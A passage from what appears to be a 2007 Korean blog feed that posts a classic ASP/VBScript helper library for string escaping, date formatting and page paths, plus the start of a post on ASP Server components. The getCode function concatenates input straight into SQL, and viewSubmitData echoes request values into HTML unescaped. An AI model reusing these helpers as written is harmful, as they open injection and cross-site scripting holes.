<P>&nbsp;revStr = getString<BR>&nbsp;if revStr = "" or IsNull(revStr) or IsEmpty(revStr) then<BR>&nbsp; revStr = ""<BR>&nbsp;else<BR>&nbsp; revStr = replace(revStr, "&amp;lt;b&amp;gt;", "&lt;b&gt;")<BR>&nbsp; revStr = replace(revStr, "&amp;lt;B&amp;gt;", "&lt;B&gt;")<BR>&nbsp; revStr = replace(revStr, "&amp;lt;/b&amp;gt;", "&lt;/b&gt;")<BR>&nbsp; revStr = replace(revStr, "&amp;lt;B&amp;gt;", "&lt;/B&gt;")<BR>&nbsp;end if</P>
<P>&nbsp;revertBold = revStr<BR>End Function</P>
<P>'==============================================================<BR>'받은 문자열에서 작은따옴표를 "''"로 convert 시킨다.<BR>'==============================================================<BR>Function convertSingleQ(getString)<BR>&nbsp;if getString = "" or IsNull(getString) or IsEmpty(getString) then<BR>&nbsp; convertSingleQ = ""<BR>&nbsp;else<BR>&nbsp; convertSingleQ = replace(getString , "'", "''")<BR>&nbsp;end if<BR>End Function</P>
<P>'==============================================================<BR>'입력필드에서 " 사용시 뒷부분 잘리는것 막기위해 convert 시킨다.<BR>'==============================================================<BR>Function convertDoubleQ(getString)<BR>&nbsp;if getString = "" or IsNull(getString) or IsEmpty(getString) then<BR>&nbsp; convertDoubleQ = ""<BR>&nbsp;else<BR>&nbsp; convertDoubleQ = replace(getString, chr(34), "&amp;#34")<BR>&nbsp;end if<BR>End Function</P>
<P>'==============================================================<BR>'입력필드 또는 검색할때 url주소에서 ', " 를 convert 시킨다.<BR>'==============================================================<BR>Function convertSinDouQ(getString)<BR>&nbsp;Dim convString</P>
<P>&nbsp;if getString = "" or IsNull(getString) or IsEmpty(getString) then<BR>&nbsp; convString = ""<BR>&nbsp;else<BR>&nbsp; convString = replace(getString, chr(34), "&amp;#34")<BR>&nbsp; convString = replace(convString, chr(39), "&amp;#39")<BR>&nbsp;end if</P>
<P>&nbsp;convertSinDouQ = convString</P>
<P>End Function</P>
<P>'==============================================================<BR>'지정된 길이 만큼 문자열 자르고 "..."으로 처리<BR>'==============================================================<BR>Function cutString(getString, strSize)<BR>&nbsp;if getString = "" or IsNull(getString) or IsEmpty(getString) then<BR>&nbsp; cutString = ""<BR>&nbsp;else<BR>&nbsp; if Len(Trim(getString)) &lt;= strSize then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cutString = getString<BR>&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cutString = Left(getString, strSize) &amp; "..."<BR>&nbsp;&nbsp;&nbsp;&nbsp; end if<BR>&nbsp;end if<BR>End Function</P>
<P>'==============================================================<BR>'일반 숫자로 되어 있는것을 파일크기 형태로 변환(단위:KB, MB)<BR>'==============================================================<BR>Function ConvertFileSize(getNumber)<BR>&nbsp;Dim conNumber</P>
<P>&nbsp;conNumber = CStr(getNumber)<BR>&nbsp;if IsNumeric(conNumber) then<BR>&nbsp; conNumber = (int(conNumber/1024) * -1) * -1</P>
<P>&nbsp; if int(conNumber) = int(0) then<BR>&nbsp;&nbsp; conNumber = 1 &amp; "KB"<BR>&nbsp; elseif int(conNumber) =&gt; int(1000) then<BR>&nbsp;&nbsp; conNumber = Round(conNumber/1024, 1) &amp; "MB"<BR>&nbsp; else<BR>&nbsp;&nbsp; conNumber = conNumber &amp; "KB"<BR>&nbsp; end if<BR>&nbsp;elseif conNumber = "" or IsNull(conNumber) or IsEmpty(conNumber) then<BR>&nbsp; conNumber = ""<BR>&nbsp;else<BR>&nbsp; conNumber = ""<BR>&nbsp;end if</P>
<P>&nbsp;ConvertFileSize = conNumber<BR>End Function</P>
<P><BR>'==============================================================<BR>'특정문자열의 포함여부 확인<BR>'==============================================================<BR>Function isin(getString, element)<BR>&nbsp;&nbsp;&nbsp; if InStr(1, getString, element) &gt; 0 then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; isin = True<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; isin = False<BR>&nbsp;&nbsp;&nbsp; end if<BR>End Function</P>
<P>'==============================================================<BR>'숫자를 원하는 길이로 가져오기<BR>'==============================================================<BR>function getNumberLen(getNumber, numLength)<BR>&nbsp;Dim numStr, i</P>
<P>&nbsp;numStr = ""<BR>&nbsp;for i = 1 to numLength<BR>&nbsp; numStr = numStr &amp; "0"<BR>&nbsp;next</P>
<P>&nbsp;getNumberLen = right(numStr &amp; getNumber, numLength)<BR>End Function</P>
<P>'==============================================================<BR>'숫자 3자리 마다 콤마 삽입<BR>'==============================================================<BR>Function addComma(nNumber)<BR>&nbsp;Dim strNumber, nLen, strSub<BR>&nbsp;Dim i, nFirst, nSize, strTotNumber</P>
<P>&nbsp;strNumber = CStr(nNumber)<BR>&nbsp;nLen = Len(strNumber)</P>
<P>&nbsp;For i = nLen To 1 Step -3<BR>&nbsp; nFirst = i - 2<BR>&nbsp; nSize = 3<BR>&nbsp; if (i - 2) &lt; 1 then<BR>&nbsp;&nbsp; nFirst = 1<BR>&nbsp;&nbsp; nSize = i<BR>&nbsp; end if<BR>&nbsp; strSub = Mid(strNumber, nFirst, nSize)<BR>&nbsp; strTotNumber = strSub + strTotNumber<BR>&nbsp; if (nLen &gt; 3) And (i - 2) &gt; 1 then<BR>&nbsp;&nbsp; strTotNumber = "," + strTotNumber<BR>&nbsp; end if<BR>&nbsp;Next</P>
<P>&nbsp;addComma = strTotNumber<BR>End Function</P>
<P>'==============================================================<BR>'문자열의 정확한 바이트 수를 리턴하는 함수<BR>'==============================================================<BR>Function stringByte(getString)<BR>&nbsp;Dim strLen, i, j, totalByte</P>
<P>&nbsp;totalByte = 0<BR>&nbsp;j = 1<BR>&nbsp;strLen = Len(getString)</P>
<P>&nbsp;For i=1 To strLen<BR>&nbsp; if Asc(Mid(getString, j, 1)) &lt; 0 then<BR>&nbsp;&nbsp; totalByte = totalByte + 2<BR>&nbsp; else<BR>&nbsp;&nbsp; totalByte = totalByte + 1<BR>&nbsp; end if<BR>&nbsp; j = j + 1<BR>&nbsp;Next</P>
<P>&nbsp;stringByte = totalByte<BR>End Function</P>
<P>'==============================================================<BR>'문자열을 제한된 바이트 수만큼 자르기<BR>'==============================================================<BR>Function CutstringByte(getString, limitLen)<BR>&nbsp;Dim strLen, i, j, setString, totalByte</P>
<P>&nbsp;strLen = Len(getString)<BR>&nbsp;j = 1<BR>&nbsp;setString = ""<BR>&nbsp;totalByte = 0</P>
<P>&nbsp;For i=1 To strLen<BR>&nbsp; if Asc(Mid(getString, j, 1)) &lt; 0 then<BR>&nbsp;&nbsp; totalByte = totalByte + 2<BR>&nbsp; else<BR>&nbsp;&nbsp; totalByte = totalByte + 1<BR>&nbsp; end if</P>
<P>&nbsp; if int(totalByte) &lt;= int(limitLen) then<BR>&nbsp;&nbsp; setString = setString + Mid(getString, j, 1)<BR>&nbsp; else<BR>&nbsp;&nbsp; Exit For<BR>&nbsp; end if</P>
<P>&nbsp; j = j + 1<BR>&nbsp;Next</P>
<P>&nbsp;CutstringByte = setString<BR>End Function</P>
<P><BR>'==============================================================<BR>'통화기호(FormatCurrency)의 확장형 (컴퓨터 설정에 따름＄,￦...)<BR>'==============================================================<BR>function nFormatCurrency(getNumber)<BR>&nbsp;Dim conNumber</P>
<P>&nbsp;if getNumber = "" or IsNull(getNumber) or IsEmpty(getNumber) then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conNumber = ""<BR>&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; conNumber = FormatCurrency(getNumber)<BR>&nbsp;&nbsp;&nbsp; end if</P>
<P>&nbsp;nFormatCurrency = conNumber<BR>End Function</P>
<P>'==============================================================<BR>'DateTime형을 각각의 형태로 변환시킨다.<BR>'==============================================================<BR>'------------------------------------------------------<BR>'DateTime 형을 YYYY.MM.DD hh:mm 형태로 출력<BR>'------------------------------------------------------<BR>function nFormatDateCyworld(getDate)<BR>&nbsp;Dim conDate, tempDate</P>
<P>&nbsp;if IsDate(getDate) then<BR>&nbsp; conDate = getNumberLen(Year(getDate), 4) &amp; "." &amp; getNumberLen(Month(getDate), 2) &amp; "." &amp; getNumberLen(Day(getDate), 2) &amp; "&amp;nbsp;" &amp; getNumberLen(Hour(getDate), 2) &amp; ":" &amp; getNumberLen(Minute(getDate), 2)<BR>&nbsp;else<BR>&nbsp; conDate = ""<BR>&nbsp;end if</P>
<P>&nbsp;nFormatDateCyworld = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 YYYY.MM.DD(weekly) TIME 형태로 출력<BR>'------------------------------------------------------<BR>function nFormatDateAll(getDate)<BR>&nbsp;Dim conDate, tempDate</P>
<P>&nbsp;if IsDate(getDate) then<BR>&nbsp;&nbsp; tempDate = CStr(getDate)<BR>&nbsp;&nbsp; tempDate = replace(tempDate, "-", ".")<BR>&nbsp;&nbsp; conDate = left(tempDate, 10) &amp; "(" &amp; convertWeek(getDate) &amp; ")" &amp; " " &amp; mid(tempDate, 11)<BR>&nbsp;else<BR>&nbsp;&nbsp; conDate = ""<BR>&nbsp;end if</P>
<P>&nbsp;nFormatDateAll = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 YYYY년 MM월 DD일 형태로 출력<BR>'------------------------------------------------------<BR>Function nFormatDateKOR(getDate)<BR>&nbsp;Dim conDate</P>
<P>&nbsp;conDate = Year(getDate) &amp; "년 " &amp; Month(getDate) &amp; "월 " &amp; Day(getDate) &amp; "일"<BR>&nbsp;nFormatDateKOR = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 YYYY(.-/)MM(.-/)DD 형태로 출력<BR>'------------------------------------------------------<BR>function nFormatDateForm(getDate, getForms)<BR>&nbsp;Dim conDate</P>
<P>&nbsp;if IsDate(getDate) then<BR>&nbsp; conDate = Year(getDate) &amp; getForms &amp; Right("0" &amp; CStr(Month(getDate)), 2) &amp; getForms &amp; Right("0" &amp; CStr(Day(getDate)), 2)<BR>&nbsp;else<BR>&nbsp; conDate = ""<BR>&nbsp;end if</P>
<P>&nbsp;nFormatDateForm = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 YYYY(.-/)MM(.-/)DD 형태로 출력<BR>'------------------------------------------------------<BR>function nFormatDateWeek(getDate, getForms)<BR>&nbsp;Dim conDate</P>
<P>&nbsp;if IsDate(getDate) then<BR>&nbsp; conDate = Year(getDate) &amp; getForms &amp; Right("0" &amp; CStr(Month(getDate)), 2) &amp; getForms &amp; Right("0" &amp; CStr(Day(getDate)), 2) &amp; " " &amp; convertWeek(getDate)<BR>&nbsp;else<BR>&nbsp; conDate = ""<BR>&nbsp;end if</P>
<P>&nbsp;nFormatDateWeek = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 20041225073033 (년월일시분초)형태로 출력<BR>'------------------------------------------------------<BR>function nFormatDateUnique(getDate)<BR>&nbsp;Dim conDate</P>
<P>&nbsp;if IsDate(getDate) then<BR>&nbsp; conDate = getNumberLen(Year(getDate), 4) &amp; getNumberLen(Month(getDate), 2) &amp; getNumberLen(Day(getDate), 2) &amp; getNumberLen(Hour(getDate), 2) &amp; getNumberLen(Minute(getDate), 2) &amp; getNumberLen(Second(getDate), 2)<BR>&nbsp;else<BR>&nbsp; conDate = ""<BR>&nbsp;end if</P>
<P>&nbsp;nFormatDateUnique = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 20041225 형태로 출력<BR>'------------------------------------------------------<BR>function nFormatDatenum(getDate)<BR>&nbsp;Dim conDate</P>
<P>&nbsp;if IsDate(getDate) then<BR>&nbsp; conDate = getNumberLen(Year(getDate), 4) &amp; getNumberLen(Month(getDate), 2) &amp; getNumberLen(Day(getDate), 2)<BR>&nbsp;else<BR>&nbsp; conDate = ""<BR>&nbsp;end if</P>
<P>&nbsp;nFormatDatenum = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'DateTime 형을 요일형태로 출력<BR>'------------------------------------------------------<BR>Function convertWeek(getDate)<BR>&nbsp;dim conDate</P>
<P>&nbsp;select case weekday(getDate,1)<BR>&nbsp; case 1<BR>&nbsp;&nbsp; conDate = "일요일"<BR>&nbsp; case 2<BR>&nbsp;&nbsp; conDate = "월요일"<BR>&nbsp; case 3<BR>&nbsp;&nbsp; conDate = "화요일"<BR>&nbsp; case 4<BR>&nbsp;&nbsp; conDate = "수요일"<BR>&nbsp; case 5<BR>&nbsp;&nbsp; conDate = "목요일"<BR>&nbsp; case 6<BR>&nbsp;&nbsp; conDate = "금요일"<BR>&nbsp; case 7<BR>&nbsp;&nbsp; conDate = "토요일"<BR>&nbsp;end select</P>
<P>&nbsp;convertWeek = conDate<BR>End Function</P>
<P>'------------------------------------------------------<BR>'자정 이후 지정된 시간만큼 경과한 초 수를 반환한다.<BR>'------------------------------------------------------<BR>Function timeToSecond(gTime)<BR>&nbsp;Dim sDiv, convertSec</P>
<P>&nbsp;sDiv = split(gTime, " ")<BR>&nbsp;convertSec = -1</P>
<P>&nbsp;if uBound(sDiv) = 0 then<BR>&nbsp; if InStr(gTime, ":") &gt; 0 then<BR>&nbsp;&nbsp; splitTime = split(sDiv(0), ":")</P>
<P>&nbsp;&nbsp; gHour = cInt(splitTime(0))<BR>&nbsp;&nbsp; gMin = cInt(splitTime(1))<BR>&nbsp;&nbsp; gSec = cInt(splitTime(2))</P>
<P>&nbsp;&nbsp; convertSec = (((gHour * 60) + gMin) * 60) + gSec<BR>&nbsp; else<BR>&nbsp;&nbsp; convertSec = 0<BR>&nbsp; end if<BR>&nbsp;elseif uBound(sDiv) = 1 then<BR>&nbsp; splitTime = split(sDiv(1), ":")</P>
<P>&nbsp; if sDiv(0) = "오전" and cInt(splitTime(0)) = 12 then<BR>&nbsp;&nbsp; gHour = 0<BR>&nbsp; elseif sDiv(0) = "오후" and cInt(splitTime(0)) &lt;&gt; 12 then<BR>&nbsp;&nbsp; gHour = cInt(splitTime(0)) + 12<BR>&nbsp; else<BR>&nbsp;&nbsp; gHour = cInt(splitTime(0))<BR>&nbsp; end if<BR>&nbsp; gMin = cInt(splitTime(1))<BR>&nbsp; gSec = cInt(splitTime(2))</P>
<P>&nbsp; convertSec = (((gHour * 60) + gMin) * 60) + gSec<BR>&nbsp;elseif uBound(sDiv) = 2 then<BR>&nbsp; splitTime = split(sDiv(2), ":")</P>
<P>&nbsp; if sDiv(1) = "오전" and cInt(splitTime(0)) = 12 then<BR>&nbsp;&nbsp; gHour = 0<BR>&nbsp; elseif sDiv(1) = "오후" and cInt(splitTime(0)) &lt;&gt; 12 then<BR>&nbsp;&nbsp; gHour = cInt(splitTime(0)) + 12<BR>&nbsp; else<BR>&nbsp;&nbsp; gHour = cInt(splitTime(0))<BR>&nbsp; end if<BR>&nbsp; gMin = cInt(splitTime(1))<BR>&nbsp; gSec = cInt(splitTime(2))</P>
<P>&nbsp; convertSec = (((gHour * 60) + gMin) * 60) + gSec<BR>&nbsp;end if</P>
<P>&nbsp;timeToSecond = convertSec</P>
<P>End Function</P>
<P>'==============================================================<BR>' 코드명가져 오기<BR>'==============================================================<BR>Function getCode(code)<BR>&nbsp;Dim coSQL, coRS</P>
<P>&nbsp;coSQL = "SELECT CODE_NAME FROM CODE_TAB "<BR>&nbsp;coSQL = coSQL &amp; " WHERE CODE_CLASS = '" &amp; UCase(code_class) &amp; "' "<BR>&nbsp;coSQL = coSQL &amp; " AND CODE = '" &amp; UCase(code) &amp; "' "<BR>&nbsp;Set coRS = OpenRecordSet(coSQL)<BR>&nbsp; if coRS.RecordCount = 1 then<BR>&nbsp;&nbsp; getCode = coRS(0)<BR>&nbsp; elseif coRS.RecordCount &gt; 1 then<BR>&nbsp;&nbsp; getCode = "중복코드"<BR>&nbsp; else<BR>&nbsp;&nbsp; getCode = "코드없음"<BR>&nbsp; end if<BR>&nbsp;coRS.close<BR>&nbsp;Set coRS = nothing<BR>End Function</P>
<P>'==============================================================<BR>'메일주소가 있으면 메일로 링크<BR>'==============================================================<BR>Function emailLink(email, linkStr)<BR>&nbsp;if Trim(email) = "" or isnull(email) or isEmpty(email) then<BR>&nbsp; emailLink = linkStr<BR>&nbsp;else<BR>&nbsp; emailLink = "&lt;a href='mailto:" &amp; email &amp; "'&gt;" &amp; linkStr &amp; "&lt;/a&gt;"<BR>&nbsp;end if<BR>End Function</P>
<P>'==============================================================<BR>'TD 태그 출력<BR>'==============================================================<BR>Function printTd(getString, sAlign)<BR>&nbsp;printTd = "&lt;td align=" &amp; sAlign &amp; "&gt;" &amp; getString &amp; "&lt;/td&gt;"<BR>End Function</P>
<P>'==============================================================<BR>'GET/POST 방식으로 전달된 데이터 화면에 출력<BR>'==============================================================<BR>Function viewSubmitData()<BR>&nbsp;Dim strkey</P>
<P>&nbsp;response.write "============== Request.QueryString =============="<BR>&nbsp;response.write "&lt;table border=1 cellspacing=0 cellpadding=1 borderColorDark='white' borderColorLight='silver'&gt;"<BR>&nbsp;response.write "&lt;tr&gt;"<BR>&nbsp;response.write "&lt;th&gt;ITEM NAME&lt;/th&gt;"<BR>&nbsp;response.write "&lt;th&gt;REQUEST&lt;/th&gt;"<BR>&nbsp;response.write "&lt;th&gt;VALUE&lt;/th&gt;"<BR>&nbsp;response.write "&lt;/tr&gt;"<BR>&nbsp;For Each strkey in Request.QueryString<BR>&nbsp; response.write "&lt;tr&gt;"<BR>&nbsp; response.write "&lt;td&gt;" &amp; strkey &amp; "&lt;/td&gt;"<BR>&nbsp; response.write "&lt;td&gt;" &amp; "= Request(" &amp; Chr(34) &amp; strkey &amp; Chr(34) &amp; ")" &amp; "&lt;/td&gt;"<BR>&nbsp; response.write "&lt;td&gt;" &amp; Request.QueryString(strkey) &amp; "&amp;nbsp;&lt;/td&gt;"<BR>&nbsp; response.write "&lt;/tr&gt;"<BR>&nbsp; 'Response.Write strkey &amp; " = Request(" &amp; Chr(34) &amp; strkey &amp; Chr(34) &amp; ") --&gt; " &amp; Request.QueryString(strkey) &amp; "&lt;br&gt;"<BR>&nbsp; 'Server.URLEncode(Request.QueryString(strkey))<BR>&nbsp;Next<BR>&nbsp;response.write "&lt;/table&gt;"<BR>&nbsp;response.write "&lt;br&gt;&lt;br&gt;"<BR>&nbsp;response.write "============== Request.Form =============="<BR>&nbsp;response.write "&lt;table border=1 cellspacing=0 cellpadding=1 borderColorDark='white' borderColorLight='silver'&gt;"<BR>&nbsp;response.write "&lt;tr&gt;"<BR>&nbsp;response.write "&lt;th&gt;ITEM NAME&lt;/th&gt;"<BR>&nbsp;response.write "&lt;th&gt;REQUEST&lt;/th&gt;"<BR>&nbsp;response.write "&lt;th&gt;VALUE&lt;/th&gt;"<BR>&nbsp;response.write "&lt;/tr&gt;"<BR>&nbsp;For Each strkey in Request.Form<BR>&nbsp; response.write "&lt;tr&gt;"<BR>&nbsp; response.write "&lt;td&gt;" &amp; strkey &amp; "&lt;/td&gt;"<BR>&nbsp; response.write "&lt;td&gt;" &amp; "= Request(" &amp; Chr(34) &amp; strkey &amp; Chr(34) &amp; ")" &amp; "&lt;/td&gt;"<BR>&nbsp; response.write "&lt;td&gt;" &amp; Request.Form(strkey) &amp; "&amp;nbsp;&lt;/td&gt;"<BR>&nbsp; response.write "&lt;/tr&gt;"<BR>&nbsp; 'Response.Write strkey &amp; " = Request(" &amp; Chr(34) &amp; strkey &amp; Chr(34) &amp; ") --&gt; " &amp; Request.Form(strkey) &amp; "&lt;br&gt;"<BR>&nbsp; 'Server.URLEncode(Request.Form(strkey))<BR>&nbsp;Next<BR>&nbsp;response.write "&lt;/table&gt;"<BR>&nbsp;response.end<BR>End Function</P>
<P><BR>'==============================================================<BR>'썸네일 이미지 경로 만들기<BR>'==============================================================<BR>Function thumbFileName(filePathName, checkStr)<BR>&nbsp;Dim filePath, fileName, thumbFile</P>
<P>&nbsp;if Trim(filePathName) = "" or isnull(filePathName) or isEmpty(filePathName) then<BR>&nbsp; newPathName = ""<BR>&nbsp;else<BR>&nbsp; if InStr(filePathName, checkStr) &gt; 0 then<BR>&nbsp;&nbsp; filePath = Left(filePathName, InStrRev(filePathName, checkStr))<BR>&nbsp;&nbsp; fileName = Mid(filePathName, InStrRev(filePathName, checkStr) + 1)<BR>&nbsp;&nbsp; newPathName = filePath &amp; "thumb_" &amp; fileName<BR>&nbsp; else<BR>&nbsp;&nbsp; newPathName =&nbsp; filePathName<BR>&nbsp; end if<BR>&nbsp;end if</P>
<P>&nbsp;thumbFileName = newPathName</P>
<P>End Function</P>
<P>'==============================================================<BR>'페이지의 경로<BR>'==============================================================</P>
<P>'------------------------------------------------------<BR>'현재 페이지의 전체경로(쿼리값 포함)<BR>'------------------------------------------------------<BR>Function current_full_path()<BR>&nbsp;current_full_path = "http://" &amp; Request.ServerVariables("HTTP_HOST") &amp; Request.ServerVariables("PATH_INFO")&amp;"?"&amp; Request.ServerVariables("QUERY_STRING")<BR>End Function</P>
<P>'------------------------------------------------------<BR>'현재 페이지의 전체경로(쿼리값 미포함)<BR>'------------------------------------------------------<BR>Function current_path()<BR>&nbsp;current_path = "http://" &amp; Request.ServerVariables("HTTP_HOST") &amp; Request.ServerVariables("PATH_INFO")<BR>End Function</P>
<P>'------------------------------------------------------<BR>'HTTP_HOST를 제외한 현재 페이지의 경로<BR>'------------------------------------------------------<BR>Function current_vir_path()<BR>&nbsp;current_vir_path = Request.ServerVariables("PATH_INFO")<BR>End Function</P>
<P>'------------------------------------------------------<BR>'현재 페이지의 경로에서 첫번째 폴더명(/첫번째폴더/두번째/)<BR>'------------------------------------------------------<BR>Function current_first_folder()<BR>&nbsp;Dim virPath</P>
<P>&nbsp;virPath = current_vir_path()<BR>&nbsp;if InStr(2, virPath, "/") &gt; 2 then<BR>&nbsp; current_first_folder = Mid(virPath, 2, InStr(2, virPath, "/") - 2)<BR>&nbsp;else<BR>&nbsp; current_first_folder = "/"<BR>&nbsp;end if<BR>End Function</P>
<P>'------------------------------------------------------<BR>'현재 페이지가 속해 있는 폴더명<BR>'------------------------------------------------------<BR>Function current_folder()<BR>&nbsp;Dim virPath, startNum, newPath</P>
<P>&nbsp;virPath = current_vir_path()<BR>&nbsp;startNum = instrRev(virPath, "/" , instrRev(virPath, "/") - 1) + 1<BR>&nbsp;newPath = Mid(virPath, startNum)</P>
<P>&nbsp;current_folder = Mid(newPath, 1, instrRev(newPath, "/") - 1)<BR>End Function</P>
<P>'------------------------------------------------------<BR>'현재 페이지의 파일명<BR>'------------------------------------------------------<BR>Function current_page()<BR>&nbsp;Dim virPath</P>
<P>&nbsp;virPath = current_vir_path()<BR>&nbsp;current_page = Mid(virPath, InStrRev(virPath, "/") + 1)<BR>End Function</P>
<P>'------------------------------------------------------<BR>'링크되어온 이전페이지의 전체경로 (쿼리값 포함)<BR>'------------------------------------------------------<BR>Function before_full_path()<BR>&nbsp;before_full_path = Request.ServerVariables("HTTP_REFERER")<BR>End Function</P>
<P>'------------------------------------------------------<BR>'링크되어온 이전페이지의 파일명<BR>'------------------------------------------------------<BR>Function before_page()<BR>&nbsp;Dim virPath</P>
<P>&nbsp;virPath = before_full_path()<BR>&nbsp;before_page = Mid(virPath, InstrRev(virPath, "/") + 1)<BR>End Function</P>
<P>%&gt;</P> ]]> </description>
<category>ASP 프로그래밍</category>
<category>function</category>
<category>asp</category>
<pubDate>Wed, 14 Nov 2007 10:47:00 +0900</pubDate>
<guid>http://syabang.com/blog/wolf/index.php/post/243</guid>
</item>
<item>
<title>ASP 내장개체[Server개체]</title>
<link>http://syabang.com/blog/wolf/index.php/post/242</link>
<description><![CDATA[ <P><STRONG><FONT color=#0000ff>Error 메세지 화면에 표시하기</FONT></STRONG></P>
<P>인터넷옵션 -&gt; HTTP 오류메시지 표시의 체크를 해지해준다.</P>
<P><STRONG><FONT color=#0000ff></FONT></STRONG>&nbsp;</P>
<P><STRONG><FONT color=#0000ff>Ad Rotator Component</FONT></STRONG></P>
<P>광고, 배너를 쓸때 사용한다고 한다. </P>
<P>Set adObj = Server.CreateObject("MSWC.Adrotator")</P>
<P>adObj.GetAdvertisement("a/b.txt")</P>
<P>&nbsp;</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#0000ff>Browser Capabilities Component</FONT></STRONG></P>
<P>Set objBrowser = Server.CreateObject("MSWC.BrowserType")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;Brower정보를 가져오기위해 개체 선언</P>
<P>objBrowser.Browser&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&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&nbsp;&nbsp;=&gt;ActiveX지원하는지 여부 가져오기</P>
<P>if objBrowser.cookies then...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=&gt;cookies지원하는지 여부 가져오기</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#0000ff>Content Linking Component</FONT></STRONG></P>
<P>여러 asp&nbsp;페이지 연결을 쉽게 할수 있는 Component.</P>
<P>예를 들면 추천 사이트나와 같은 곳에서 text파일에서 관리할수 있어 편리하게 사용할수 있다. </P>
<P>&nbsp;</P>
<P>Set ConLink = Server.CreateObject("MSWC.NextLink")</P>
<P>linkcount = ConLink.GetListCount("conlink.txt")&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;txt파일의 총 list개수를 return한다. </P>
<P>for i=1 to linkcount</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp; ConLink.GetNthURL("conlink.txt",i)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;지정된 라인의 URL return</P>
<P>&nbsp;&nbsp;&nbsp;&nbsp; ConLink.GetNthDescription("conlink.txt",i)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =&gt;지정된 라인의 설명 return</P>
<P>next</P>
<P>&nbsp;</P>
<P>*text파일을 만들때는 반드시 tab키를 사용하여 구분한다...</P>
<P>&nbsp;</P>
<P><STRONG><FONT color=#0000ff>Data Access Component(ADO)</FONT></STRONG></P>
<P>Dim DBCon</P>
